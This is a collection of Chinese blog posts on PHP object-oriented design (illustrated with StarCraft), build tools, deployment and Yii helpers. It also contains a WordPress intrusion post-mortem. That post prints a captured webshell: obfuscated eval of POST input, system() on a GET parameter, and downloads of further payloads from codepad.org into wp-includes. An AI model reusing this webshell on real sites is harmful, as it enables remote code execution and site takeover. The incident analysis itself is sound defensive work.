如果类以内的函数访问,用self::\(attackNumber表示本类的\)attackNumber属性

所以如果我们升级了机枪兵的攻击力,所有的机枪兵都受影响,这就是面向对象的好处之一,也解决了我们前面讨论的共同数据的问题。

函数也可以是静态的,这样就可以用类直接访问,不需要新建对象来调用:

class marine

{

static $attackNumber = 10; //攻击力的数字

   //这个函数表示机枪兵升级的运行代码
   static  function upgrade()

   {

   self::$attacknum++;

   }

}

如果科技建筑升级完毕,直接就调用这个函数:

marine::upgrade();

四、继承

兵营用来造机枪兵,坦克房用来制造坦克,他们都是建筑,但是却有很多不同,如果用一个类“建筑”来表示,很困难。

但我们要保留他们的共性,比如都能飞行,不希望飞行的代码在各个类重复写,又要让他们能各自独立的生产不同的东西。

所以我们可以用继承来处理,继承表示父子关系,被继承的叫父类,继承的叫子类。用extends表示继承

//建筑类

class building

{

   function fly()

   {

   //建筑飞行的代码

   }

}

//兵营类

class marineBuilding extends building

{

   function createMarine()

   {

   //制造机枪兵的代码

   }

}

//坦克房类

class tankBuilding extends building

{

   function createTank()

   {

   //制造坦克的代码

   }

}

接下来,我们看看继承产生的效果:

//如果造了一个兵营:

$mb1 = new marineBuilding();



//一旦他需要飞行,就可以直接使用建筑类的函数fly(),尽管兵营类的定义里没有这个函数


$mb1->fly();

//而他要制造机枪兵的时候:

$mb1->createMarine();

同样是继承建筑类的坦克房类,就无法制造机枪兵,因为这是兵营类的个性。

如果在子类中的函数调用父类的函数,要使用parent,比如parent::fly()

注意,一个类只能有一个父类,PHP不允许多重继承,也就是说一个孩子只能有一个爹,一个爹可以有N个孩子!

五、访问控制

如果用\(attackNumber = 10表示属性的话,系统默认是public \)attackNumber = 10,所以建议这样写:

class marine

{

public static $attackNumber = 10; //攻击力的数字

}

public表示这个属性是公共的,也就是在任何地方都可以访问和操作的。

但这就存在一些问题,如果有玩家知道了类marine的一些代码结构,那他做个简单的补丁程序,运行的时候加载上去:


//补丁

marine::$attackNumber = 10000;

这样的话,他的机枪兵有10000的攻击力,呵呵,这样的话,谁打得过他!

为此我们要用private,表示这个属性只有类里面的函数才能访问:

class marine

{

private static $attackNumber = 10; //攻击力的数字

   //这个函数表示机枪兵升级的运行代码
   function upgrade()

   {

      //这样防止无限升级

      if(self::$attacknum<13)

      {

      self::$attacknum++;

      }

   }

}

这样一来,只有升级才能改变机枪兵的攻击力。

但是现在往往是团队开发,而且很多用到类的继承,如果private的话,子类就无法访问了,但又不希望随便都可以修改某些属性。

那么可以用protected,protected的属性可以被子类的函数访问。

六、重载

6.1、属性重载

如果我们把地面部队作为一个类,让机枪兵类来继承他,这时候如果地面部队类和机枪兵类里面都定义了攻击力$attackNumber,那么每个兵的攻击力就决定于机枪兵类,而不是地面部队。这就叫做重载。

//地面部队

class groundArmy

{

public $attackNumber = 5;

}

//机枪兵

class marine extends groundArmy

{

public $attackNumber = 10; //攻击力的数字

}

$m1 = new marine();//新建一个机枪兵

echo $m1->attackNumber;//显示攻击力为10

6.2、函数重载

重载也可以用于函数,子类的函数如果和父类函数同名,除非另行说明,否则子类的对象默认调用子类内的函数。

比如人族的鬼兵类ghost和神族类的黑暗圣堂类(隐刀),都是隐形兵种,但是鬼兵隐形的时候会减少能量,黑暗圣堂根本没有能量属性。

如果我们把隐形能力作为父类,鬼兵类ghost和神族类的黑暗圣堂类DarkTemplar来继承它,同时实现不同的隐形代码:


//隐形能力类
class concealAbility

{

   //这个函数表示隐形的运行代码
   function conceal()

   {

      //隐形的运行代码

   }

}

//鬼兵类

class ghost extends concealAbility

{

$energy = 150;

   //这个函数表示隐形的运行代码
   function conceal()

   {

      //隐形的运行代码

      //减少鬼兵的能量,$this表示当前对象,也就是当前这个鬼兵

      $this->energy -= 25;

   }

}

//黑暗圣堂类

class DarkTemplar extends concealAbility

{

   //这个函数表示隐形的运行代码
   function conceal()

   {

      //隐形的运行代码,不影响能量

   }

}

//新建一个鬼兵

$g1 = new ghost();

//显示能量为150

echo $g1->energy;

//鬼兵隐形

$g1->conceal();

//显示能量为125

echo $g1->energy;

//新建一个黑暗圣堂

$d1 = new DarkTemplar();

//黑暗圣堂隐形,他没有能量属性

$g1->conceal();

七、接口

PHP不允许多重继承,那么有些问题就难办了。

假如为了规范处理,我们把隐形的能力建立一个类,然后把飞行能力放一个类,那么人族的侦察机怎么处理?不能继承两个类!

那我们不用继承也行,但是开发组的其他人一旦涉及到侦察机,要把长长的代码读一遍吗?有没有可能知道类的所有方法的简要描述?

可以用到接口interface,一个类可以执行(继承)多个接口,接口中定义的函数不能有函数体,执行接口的类必须将这些函数完整定义。

这样我们知道侦察机实现了飞行能力接口,必然有接口里面描述的飞行方法:


//隐形能力的接口

interface concealAbility

{

public function conceal();

}

//飞行能力的接口

interface flyAbility

{

public function fly();

}

//侦察机类

class Wraith implements flyAbility, concealAbility

{

   //这个函数表示侦察机飞行的运行代码
   function fly()

   {

      //飞行的运行代码

   }

   //这个函数表示侦察机隐形的运行代码
   function conceal()

   {

      //隐形的运行代码

   }

}

八、总结

我们讨论了PHP面向对象的基本知识,通过星际争霸这一经典的游戏来说明,大家可以看到面向对象的初步作用。

我们看到通过面向对象可以使代码更加清晰,类将代码组织起来,比较方便的重复使用。

同时对象也减少了变量的冲突,方便相关性数据的保存和使用。

如果要解决的问题涉及很多方面,面向对象可以演化出更加灵活和有技巧的方式,比如通常提到的设计模式,和很多框架。

当然,面向对象也有缺点,从上面的代码可以看到,首先代码就多了,简单的任务如果定义许多类,反而麻烦。

对于简单任务,面向对象也可能使代码运行的效率降低。

深入的探讨,超出了本文的范围。

有兴趣的朋友可以上我的博客,里面有些相关的文章。

用星际学习PHP设计模式3-抽象工厂模式

张 清月阅读(4)

lightsaber文锋

星际争霸是战略游戏,所以同样的兵种,敌我显示是不同的。

典型的就是鼠标的颜色,点中自己的物体的时候,鼠标颜色变成绿色,点中敌人的物体的时候,鼠标颜色变成红色。

还有就是每个物体的状态,点中自己的物体的时候,状态区显示完整的状态,点中敌人的物体的时候,状态区显示一部分信息。

我们假设只考虑鼠标和人族的运输船,玩家自己的运输船点中后状态区会显示里面装载的部队,而点中敌人的则不会显示里面是否装载部队。

这样我们就有四种对象:点中自己的鼠标,点中敌人的鼠标,自己的运输船状态,敌人的运输船状态。

如果用工厂方法模式,就要建立四个具体工厂(或者子工厂),这样的代码不便于维护和修改,因为我们以后要增加另一种情况:盟友。

待解决的问题:

我们希望将这些对象联系起来,使得工厂的操作更加有逻辑性。

思路:

既然我们通过自己和敌人来区分对象,那么统一归属的对象放入相同的具体工厂,每个具体工厂负责制造多种对象。

抽象工厂模式示例:

<?php
//四个产品类
//点中自己的物体时的鼠标
class mineMouse {
//鼠标的颜色
$color = 'green';
}
//点中敌人的物体时的鼠标
class enemyMouse {
//鼠标的颜色
$color = 'red';
}
//自己的运输船状态
class mineDropship {
//显示装载的情况,假设2辆坦克
$loading = '2 tanks';
}
//敌人的运输船状态
class enemyDropship {
//不显示装载的情况
$loading = '';
}
//主工厂类,也叫抽象工厂类
class abstractCreator {
//根据参数分配工作到具体的工厂,并返回具体工厂对象
public function getCreator($belong)
{
//获取具体工厂的类名
$creatorClassName = $belong.'Creator';
//返回具体工厂对象
return new $creatorClassName();
}
}
//具体工厂必须执行的接口
interface productCreator {
//制造方法,或者说根据参数返回产品(鼠标,运输船)的方法
public function creatProduct($productName);
}
//制造属于自己的物体的具体工厂,执行接口
class mineCreator implements productCreator {
//根据参数生产并返回属于自己的产品
public function creatProduct($productName)
{
//获取产品的类名
$productClassName = 'mine'.$productName;
//返回产品对象
return new $productClassName;
}
}
//制造属于敌人的物体的具体工厂,执行接口
class enemyCreator implements productCreator {
//根据参数生产并返回属于敌人的产品
public function creatProduct($productName)
{
//获取产品的类名
$productClassName = 'enemy'.$productName;
//返回产品对象
return new $productClassName;
}
}
//开始操作
//新建抽象工厂对象
$abstractCreator = new abstractCreator();
//根据归属,得到具体工厂对象,这里先演示敌人的
$realCreator1 = $abstractCreator->getCreator('enemy');
//让具体工厂对象生产鼠标对象
$product1 = $realCreator1->creatProduct('Mouse');
//让鼠标对象显示颜色,显示结果red
echo $product1->color;
//根据归属,得到另一个具体工厂对象,这里演示自己的
$realCreator2 = $abstractCreator->getCreator('mine');
//让具体工厂对象生产运输船
$product2 = $realCreator2->creatProduct('Dropship');
//让运输船对象显示装载对象,显示结果2 tanks,两辆坦克
echo $product2->loading;
?>
```
#### 用途总结:
抽象工厂模式将拥有相同属性的产品归类到同一个具体工厂,减少具体工厂的数量,操作的时候,可以理清职责。
#### 实现总结:
需要一个根据属性返回具体工厂对象的抽象工厂,比如上面abstractCreator,同时需要将各个产品的属性(自己的,敌人的)进行归类,根据属性建立各个具体工厂,每个具体工厂制造多个具有相同属性的不同产品(鼠标和运输船)。

用星际学习PHP设计模式2-工厂方法模式

张 清月阅读(3)

PHP手册上提到的工厂模式,其实是简单工厂模式。这里来讨论简单工厂模式的扩展:工厂方法模式

待解决的问题:

虽然简单工厂解决了动态返回不同类型对象的问题,但是实际情况当中,往往在新建一个对象的时候,需要做一些额外处理,比如制造机枪兵的时候需要判断水晶矿是否大于50,而制造火焰兵的时候需要同时判断水晶矿是否大于50和气矿大于25,还有是否建造了研究院。如果把这些代码全部放到工厂制造类里面,会使得制造类很臃肿,而且随着工厂生产的对象的种类越来越多,工厂制造类的代码会越来越难以维护。

思路:

简单工厂模式中的工厂类(兵种制造器的类)保持不变,增加一个制造接口,定义一个实际制造对象的方法,然后定义各个具体制造不同对象的工厂,同时要求这些工厂执行这个制造接口,让这些工厂去实现实际制造对象的方法。

工厂方法模式示例:

我们把机枪兵类和制造机枪兵的类的代码放入一个文件,Marine.php,它的代码如下:

<?php
//机枪兵类
class Marine {
//机枪兵攻击的方法
public function attack()
{
echo 'Marine attack';
}
}
//制造机枪兵的类,执行接口abstractCreator
class MarineCreator implements abstractCreator {
//实际制造机枪兵的方法
public function realCreate()
{
//如果水晶矿大于50,这里只是作为说明,因为并不存在ore这个变量,也不考虑水晶少于50的处理
if($ore>50)
{
return new Marine();
}
}
}
?>

我们把火焰兵类和制造火焰兵的类的代码放入一个文件,Firebat.php,它的代码如下:

<?php
//火焰兵类
class Firebat {
//火焰兵攻击的方法
public function attack()
{
echo 'Firebat attack';
}
}
//制造火焰兵的类,执行接口abstractCreator
class FirebatCreator implements abstractCreator
//实际制造火焰兵的方法
public function realCreate()
{
//如果水晶矿大于50同时气矿大于25,并且研究院已经存在。这里只是作为说明,因为并不存在ore和gas和Academy变量,也不考虑资源不够时的处理
if($ore>50 && $gas>25 && Academy>1)
{
return new Firebat();
}
}
}
?>

主文件中的内容如下:

<?php
//各个具体工厂必须执行的接口
interface abstractCreator {
//规定各个具体工厂要实现的方法
public function realCreate();
}
//兵种制造器的类,也就是主工厂
class BarracksCreator {
//制造兵种的方法
public create($createWhat)
{
//根据输入的参数,动态的把需要的类的定义文件载入
require_once($createWhat.'.php');
//根据输入的参数,动态的获取相应的具体工厂的类的名字
$creatorClassName = $createWhat.'Creator';
//新建具体工厂对象
$creator = new $creatorClassName;
//用具体工厂来实际生产,然后返回需要的类的对象。因为它们都执行了接口abstractCreator,所以肯定实现了方法realCreate()
return $creator->realCreate();
}
}
//新建一个兵种制造器对象
$creator = new BarracksCreator();
//靠接收参数制造一个火焰兵对象
$troop1 = $creator->create('Marine');
$troop1->attack();
//靠接收参数制造一个机枪兵对象
$troop2 = $creator->create('Firebat');
$troop2->attack();
?>

用途总结:

工厂方法模式将新建对象的任务将给对应的具体工厂类,不必因为某些生产的对象需要进行额外处理而修改对外的主工厂。

实现总结:

需要接收参数的主工厂类,比如上面兵种制造器BarracksCreator,还需要声明具体制造方法的一个接口,比如上面abstractCreator,然后定义具体生产各个产品的具体工厂类,每个具体工厂类必须执行接口abstractCreator,这样他们就必须实现制造对象的方法,比如上面的realCreate()。使用的时候只需要将参数传递给主工厂类工厂的生产方法create(),然后由create()根据参数生成具体工厂类的对象,并调用具体工厂类realCreate()获取制造的产品对象并返回,对外界使用来说,只需调用主工厂类工厂进行生产。

说明:

其实这篇文章内的工厂方法模式和有些文章写的不同,标准的工厂模式往往是用一个抽象类来代替上面的接口abstractCreator,然后让所有的具体工厂类来继承它,但使用的时候,由于抽象类不能实例化(新建它的对象),所以经常是代码中直接new FirebatCreator(),但是简单工厂模式可以解决直接new的问题,所以我这里将简单工厂模式和工厂方法模式一起使用,使这里的示例更加实用。同时由于PHP是单继承,而执行接口的数量是没有限制的,所以使用接口abstractCreator更加灵活。

180731 php catch error层级

张 清月阅读(32)

非trycatch 下的throw 异常


class ab{
public function gg(){
// try{
if(1!=2){
echo "run is 1!=2".PHP_EOL;
throw new Exception("Error Processing Request", 1);
}
// }catch(Exception $e){
// 	echo "run back".PHP_EOL;
// }
}	
public function __destruct() {
print "Destroying " . self::class . "\n";
}
}
$ab=new ab();
$ab->gg();

执行结果


run is 1!=2
PHP Fatal error:  Uncaught Exception: Error Processing Request in /Users/ab/Sites/try.php:8
Stack trace:
#0 /Users/ab/Sites/try.php(22): ab->gg()
#1 {main}
thrown in /Users/ab/Sites/try.php on line 8
Fatal error: Uncaught Exception: Error Processing Request in /Users/ab/Sites/try.php:8
Stack trace:
#0 /Users/ab/Sites/try.php(22): ab->gg()
#1 {main}
thrown in /Users/ab/Sites/try.php on line 8
FAIL: 255

trycatch 下的 throw异常


class ab{
public function gg(){
try{
if(1!=2){
echo "run is 1!=2".PHP_EOL;
throw new Exception("Error Processing Request", 1);
}
}catch(Exception $e){
echo "run back".PHP_EOL;
}
}	
public function __destruct() {
print "Destroying " . self::class . "\n";
}
}
$ab=new ab();
$ab->gg();

执行结果


run is 1!=2
run back
Destroying ab

180504 stomp-php 持久化参数

张 清月阅读(32)

项目使用activemq的时候,发送的消息一直都未持久话,也就是未消费队列被存储起来。重启后就消失了。

使用的是 stomp-php 免安装php扩展,简单部署。

"require": {
"corneltek/cliframework": "^3.0",
"stomp-php/stomp-php": "^4.2"
}

调试使用使用后台发送消息勾选 Persistent Delivery后,重启 activemq是作为持久化消息保存的。

源代码包里搜了下 presistent

发现代码:

$producer->send($queue, new Message('message-b', ['persistent' => 'true']));

测试了下 将head的Options里封装

['persistent' => 'true']
//就成功持久化了

160725 grunt helloworld

张 清月阅读(1534)

为何要用构建工具?

一句话:自动化。对于需要反复重复的任务,例如压缩(minification)、编译、单元测试、linting等,自动化工具可以减轻你的劳动,简化你的工作。当你在 Gruntfile 文件正确配置好了任务,任务运行器就会自动帮你或你的小组完成大部分无聊的工作。

为什么要使用Grunt?

Grunt生态系统非常庞大,并且一直在增长。由于拥有数量庞大的插件可供选择,因此,你可以利用Grunt自动完成任何事,并且花费最少的代价。如果找不到你所需要的插件,那就自己动手创造一个Grunt插件,然后将其发布到npm上吧。先看看入门文档吧。

下面是安装使用过程

终端安装cli

npm install -g grunt-cli

构建项目目录

npm init

会生成一个package.json

{
"name": "cc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC"
}

安装所需的 moudle

 npm install --save-dev grunt grunt-contrib-concat grunt-contrib-jshint grunt-contrib-sass grunt-contrib-uglify grunt-contrib-watch grunt-contrib-connect

安装完模块后 package.json文件会被更改

{
"name": "cc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"devDependencies": {
"grunt": "^1.0.1",
"grunt-contrib-concat": "^1.0.1",
"grunt-contrib-connect": "^1.0.2",
"grunt-contrib-jshint": "^1.0.0",
"grunt-contrib-sass": "^1.0.0",
"grunt-contrib-uglify": "^2.0.0",
"grunt-contrib-watch": "^1.0.0"
}
}

创建grunt配置文件 Gruntfile.js

module.exports = function(grunt){
// 项目配置
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
uglify: {
options: {
banner: '/*! <%= pkg.name %> <%= grunt.template.today("yyyy-mm-dd") %> */\n'
},
build: {
src: 'src/*.js',
dest: 'build/<%= pkg.name %>.min.js'
}
}
});
// 加载提供"uglify"任务的插件
grunt.loadNpmTasks('grunt-contrib-uglify');
// 默认任务
grunt.registerTask('default', ['uglify']);
}

当前目录创建src

添加a.js

function hello(){
console.log('hello');
}

添加b.js

function world(){
console.log('world');
}

构建 grunt

gunt
Running "uglify:build" (uglify) task
>> 1 file created.
Done.

查看build目录cc.min.js

/*! cc 2016-07-25 */
function hello(){console.log("hello")}function world(){console.log("world")}

具体demo下载地址

http://pan.baidu.com/s/1boIuvP9

更多查看

http://www.gruntjs.net/getting-started

160411 php组合排列实现

张 清月阅读(1840)

学习系统实现组合排列

遇到个需求需要从100道题目中随机抽取10道题作为学习测试题,并且出现的组合不能重复,给出大概可用组合的次数.

组合排列实现:

//PHP乘阶实现
function factorial($n)
{
if ($n > 1) {
return $n * factorial($n - 1);
} else {
return 1;
}
}
//组合排列
function randGet($n, $m)
{
echo "{$n}个数中取{$m}个数随机排列,且不重复可有" . factorial($n) / factorial($n - $m) / factorial($m) . "次变种" . PHP_EOL;
}
randGet(3, 2);
randGet(6, 2);
randGet(100, 4);

执行结果:

3个数中取2个数随机排列,且不重复可有3次变种
6个数中取2个数随机排列,且不重复可有15次变种
100个数中取4个数随机排列,且不重复可有3921225次变种

参考:

  1. 乘阶
  2. 排列组合
  3. 解决公式

160327 使用Envoy管理多服务器

张 清月阅读(1294)

在多服务器负载均衡的时候,会有代码发布问题,如果你很懒的去架设jekins这种持续话集成工具的时候,你可以使用Envoy试试,当然你也可以用cobbler puppet.但我相信当你使用过Envoy 你会惊艳她功能的

Envoty(Laravel Envoy):

提供了简洁、轻量的语法用于定义在远程服务器上可执行的通用任务。通过 Blade 风格的语法,你可以很容易地设置任务从而完成部署、执行 Artisan 命令或其他更多工作。

如何安装Envoy:

//安装Composer
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
//将Composer配置给所有用户
composer global require "laravel/installer"
//安装Laravel Envoy
composer global require "laravel/envoy=~1.0"
//将bin放入当前用户Path
echo 'export PATH="$PATH:$HOME/.composer/vendor/bin"' >> ~/.bashrc
//导入,免登出
source ~/.bashrc
//添加larvel执行权限
chmod +x /root/.composer/vendor/laravel/installer/laravel
//添加envoy执行权限
chomp +x /root/.composer/vendor/laravel/envoy/envoy

注意:

这里需要proc_open支持所以你查看是否支持

/usr/local/php/etc/php.ini
//删除
disable_functions中
proc_open proc_status

使用Envoy创建任务

envoy init gb@192.168.10.10
Envoy file created!

会生成文件:

Envoy.blade.php

文件内容编辑成如:

  vim Envoy.blade.php
@servers(['web' => 'gb@192.168.10.10 -p 70011'])
@task('deploy')
cd /home/backup
echo "asdasdas" >> 1.log
@endtask

执行Envoy

envoy run deploy

多服器配置运行:

@servers(['web-1' => '192.168.1.1', 'web-2' => '192.168.1.2'])
@task('deploy', ['on' => ['web-1', 'web-2']])
cd site
git pull origin {{ $branch }}
php artisan migrate
@endtask

更多阅读:

160317 Yiihost信息获取

张 清月阅读(1183)

  • 假设域名为

    http://www.bee.com/index.php?r=plan/index
    
  • 获取域名

    Yii::app()->request->hostInfo;
    http://www.bee.com
    
  • 获取当前URL

    Yii::app()->request->getUrl();
    /index.php?r=/plan/index
    
  • 获取(除域名外的)首页地址

    Yii::app()->user->returnUrl;
    /
    
  • 获取(除域名外的)根目录地址

    Yii::app()->homeUrl;
    /index.php
    
  • 获取请求的相对路径

    Yii::app()->request->baseUrl;
    
  • 获取网站根目录相对地址

    Yii::app()->baseUrl;
    
  • Yii获取IP地址

    Yii::app()->request->userHostAddress;
    127.0.0.1
    
  • Yii判断提交方式

    Yii::app()->request-isPostRequest
    
  • proteced目录的物理路径

    Yii::app()->basePath;
    /Users/aj/Bee/protected
    
  • 获取上一页的url以返回

    Yii::app()->request->urlReferrer;
    
  • 获取当前控制器ID

    Yii::app()->getController()->getAction()->id;
    plan
    
  • 项目路径

    dirname(Yii::app()->BasePath);
    /Users/aj/Bee/
    
  • Yii获取get,post过来的数据

    Yii::app()->request->getParam('id');
    
  • Yii如何设置时区

    可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区
    
  • 防止重复提交

    Ccontroler->refresh();
    
  • demo代码

    echo "获取域名";
    echo PHP_EOL;
    echo "Yii::app()->request->hostInfo;";
    echo PHP_EOL;
    echo Yii::app()->request->hostInfo;
    echo PHP_EOL;
    echo "获取当前URL";
    echo PHP_EOL;
    echo "Yii::app()->request->getUrl();";
    echo Yii::app()->request->getUrl();
    echo PHP_EOL;
    echo "获取(除域名外的)首页地址";
    echo PHP_EOL;
    echo "Yii::app()->user->returnUrl;";
    echo PHP_EOL;
    echo Yii::app()->user->returnUrl;
    echo PHP_EOL;
    echo "获取(除域名外的)根目录地址";
    echo PHP_EOL;
    echo "Yii::app()->homeUrl;";
    echo PHP_EOL;
    echo Yii::app()->homeUrl;
    echo PHP_EOL;
    echo "获取请求的相对路径";
    echo PHP_EOL;
    echo "Yii::app()->request->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->request->baseUrl;
    echo PHP_EOL;
    echo "获取网站根目录相对地址";
    echo PHP_EOL;
    echo "Yii::app()->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->baseUrl;
    echo PHP_EOL;
    echo "YII获取 IP地址";
    echo PHP_EOL;
    echo "Yii::app()->request->userHostAddress;";
    echo PHP_EOL;
    echo Yii::app()->request->userHostAddress;
    echo PHP_EOL;
    echo "Yii判断提交方式";
    echo PHP_EOL;
    echo "Yii::app()->request-isPostRequest";
    echo PHP_EOL;
    echo "proteced目录的物理路径";
    echo PHP_EOL;
    echo "Yii::app()->basePath;";
    echo PHP_EOL;
    echo Yii::app()->basePath;
    echo PHP_EOL;
    echo "获取上一页的url以返回";
    echo PHP_EOL;
    echo "Yii::app()->request->urlReferrer;";
    echo PHP_EOL;
    echo Yii::app()->request->urlReferrer;
    echo PHP_EOL;
    echo "获取当前控制器ID";
    echo PHP_EOL;
    echo "Yii::app()->getController()->getAction()->id;";
    echo PHP_EOL;
    echo Yii::app()->getController()->getAction()->id;
    echo PHP_EOL;
    echo "项目路径";
    echo PHP_EOL;
    echo "dirname(Yii::app()->BasePath);";
    echo PHP_EOL;
    echo dirname(Yii::app()->BasePath);
    echo PHP_EOL;
    echo "Yii获取get,post过来的数据";
    echo PHP_EOL;
    echo "Yii::app()->request->getParam('id');";
    echo PHP_EOL;
    echo Yii::app()->request->getParam('id');
    echo PHP_EOL;
    echo "Yii如何设置时区";
    echo PHP_EOL;
    echo "可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区";
    echo PHP_EOL;
    echo "防止重复提交";
    echo PHP_EOL;
    echo "Ccontroler->refresh();";
    

151209 nginx动态添加ip黑名单

张 清月阅读(1884)

Nginx

早上起来服务访问报警,查了下log,一个俄罗斯ip不停的更换user-agent来访问某站,导致FPM进程数过多。

查了下阿里云的安全卫士,竟然没有添加黑名单功能。对于iptables一直是懵懂状态,so 只能从代码或者nginx添加黑名单功能。

PHP代码级别的就非常简单了:

if($_SERVER['REMOTE_ADDR'] == "xx.xx.xx.xx"){   
exit();  
}

代码从网上看到的不太对,稍微调整了下,目前已经可以使用代码
在下面贴出来:

#!/bin/bash
tail -n50 /home/wwwlogs/access.log |
awk '{print $1,$7,$9}' |
grep -i -v -E "googleyahoobaidumsnbotFeedSkysogou360bingsoso403api" |
awk '{print $1}' |  sort | uniq -c | sort -rn |
awk '{if($1>5)print "deny "$2";"}' > /usr/local/nginx/conf/vhost/blockip.conf
/usr/local/nginx/sbin/nginx -s reload

Crontab中添加锁定时间

0,30 0-23 * * * /bin/bash /root/blockip.sh

原文链接:

http://www.lxway.com/1468096.htm

当然本身nginx的通过ngxhttplimit_req可以用来做动态黑名单功能,实现方法:

https://github.com/codehunte/ngxwhiteblacklist/blob/master/whiteblack_list.txt

151110 服务器入侵复盘

张 清月阅读(1409)

互联网的黑客人事是越来越专业了,尽可能的数据挖掘,历史追溯,去寻找你的漏洞。前2天的草榴,前段时间的网易,总之人在互联网总会被挨刀。废话多了看文章。

大概过程:

黑客通过网易密码泄露中的邮箱,并且查阅相关邮件内容,得知某站存在,遂重置密码,登录后台,上传插件,激活木马。

总结:

互联网的每一个大事件其实都有可能跟你息息相关。

中午14点多收到阿里云短信服务器有密码并且隔离了,遂登录阿里云查看

木马文件:

wp-includes/media-bak.php

看了下创建时间 14:10

木马内容

    $qV = "stop_";
$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
if (isset(${$s20}['dak'])) {
eval(${$s20}['dak']);
}
//一句话木马 $_POST['dak']

根据木马文件访问查看黑客访问相关信息

    cat www.80aj.com.log | grep '10/Nov/2015' | grep php | grep 200 | awk '{print $1"\t"$4$5"\t"$9"\t"$6"\t"$7}' | grep php 
173.252.193.210 [10/Nov/2015:14:09:59+0800] 200 "GET    /wp-login.php?redirect_to=http%3A%2F%2Fwww.80aj.com%2Fwp-admin%2F&reauth=1
173.252.193.210 [10/Nov/2015:14:10:01+0800] 200 "GET    /wp-admin/plugin-install.php?tab=upload
173.252.193.210 [10/Nov/2015:14:10:04+0800] 200 "POST   /wp-admin/update.php?action=upload-plugin
173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "GET    /wp-content/uploads/2015/11/1447135650.php?test=1
173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "POST   /wp-content/uploads/2015/11/1447135650.php
173.252.193.210 [10/Nov/2015:14:10:06+0800] 200 "POST   /wp-includes/media-bak.php
173.252.193.210 [10/Nov/2015:14:10:07+0800] 200 "GET    /wp-includes/class-wp-upgrade.php

进入 wp-content/uploads/2015/11/ 发现文件xx.php,文件大概思路受访请求带上test会主动在wp-include目录下载3个文件,内容来自 codepad.org 在线代码调试网站

    if(isset($_GET['test']) && $_GET['test']){
echo 261000;
//    $PHP_SELF = basename(__FILE__);
//    rename($PHP_SELF,'new_'.$PHP_SELF);
}elseif(isset($_GET['info']) && $_GET['info']){
echo phpinfo();
}elseif(isset($_GET['eval']) && $_GET['eval']){
$qV = "stop_";
$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
if (isset(${$s20}['dak'])) {
eval(${$s20}['dak']);
}
}elseif(isset($_GET['go']) && $_GET['go']){
$n = substr_count(substr(dirname(__FILE__),intval(strpos(dirname(__FILE__),'wp-content'))), "/");
$path_pre = str_repeat('../',$n+1);
$in_path = $path_pre.'wp-includes/';
if(@file_put_contents($in_path.'media-bak.php',@file_get_contents('http://codepad.org/Uk6hqTZe/raw.php'))){
echo '|YS[dak]';
}else{
echo '|YF';
}
if(@file_put_contents($in_path.'class-wp-upgrade.php',@file_get_contents('http://codepad.org/v6xhqhy7/raw.php'))){
echo '|DS[wso]';
}else{
echo '|DF';
}
if(@file_put_contents($in_path.'class-wp-upload.php',@file_get_contents('http://codepad.org/ZSvhCPZE/raw.php'))){
echo '|XS';
}else{
echo '|XF';
}
}else{
$path = isset($_POST['path'])?$_POST['path']:dirname(__FILE__);
if($_POST['url']){
foreach($_POST['url'] as $url){
$filename = $url['name'];
//            $link = $url['link'];
$con = $url['con'];
if($a = @file_put_contents($path.$filename,base64_decode($con))){
echo '|'.$filename.' success';
}else{
if($a = @file_put_contents($filename,base64_decode($con))){
echo '|ThisPath-'.$filename.' success';
}else{
echo '|'.$filename.' fail';
}
//                echo '|'.$filename.' fail';
}
}
$PHP_SELF = basename(__FILE__);
rename($PHP_SELF,'new_up.php');
}else{
$c=$_GET['cmd'];
system($c);
$p=$_SERVER["DOCUMENT_ROOT"];
$yoco=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data"  method="POST">
Path:$p<br>
<input name="file" type="file"><br>
Ŀ��:<br>
<input size="48" value="$yoco/" name="pt" type="text"><br>
<input type="submit" value="Upload">
$tend
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfilen";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}
}

其次 class-wp-upgrade.php 这个文件会获取用户请求的各种cookie,伪装成error_log去获取更多的cookie

发现其中有一条内容为 :

    ["wordpress_logged_in_42b76570a501a4b13a26d8fda417c568"]=>
string(126) "weiwei|1447308597|3pnLyBYybwZbhNuW2eIegvzYJz79s2rkZx4zaIm7PTq|d667fceecc9ab854fffa28bcb8cde9ea3eca0e38c421becee0f7dba0cc8899bf"

这个是我多年前同事的账号给,并且是admin权限,xxx@126.com ,just soso 太搞了。 荆轲刺秦王

150722 强健WordPress体魄

张 清月阅读(1355)

WordPress(下面简称WP)建博客好多年,被黑的次数是数不过来了,每次的反查累的要命,因为黑客的入侵总让你摸不着头脑,如何避免或者快速清除木马是必须学会的。

好心人A

WP在这个互联网上存在着,总是那么摇摆不定,天天被各种好心人扫描,时不时的断档。真心纠结啊,这不今天凌晨又来了一波,这是在提醒我们时刻要更新啊

59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/front-file-manager/upload.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php

好心人B

好心人不停的往你服务器POST,POST,POST,丝毫不遮掩,好像你是赤裸着躺在他面前,肆无忌惮啊

211.44.4.145    [21/Jul/2015:11:35:03+0800] "POST   /wp-admin/maint/util.php
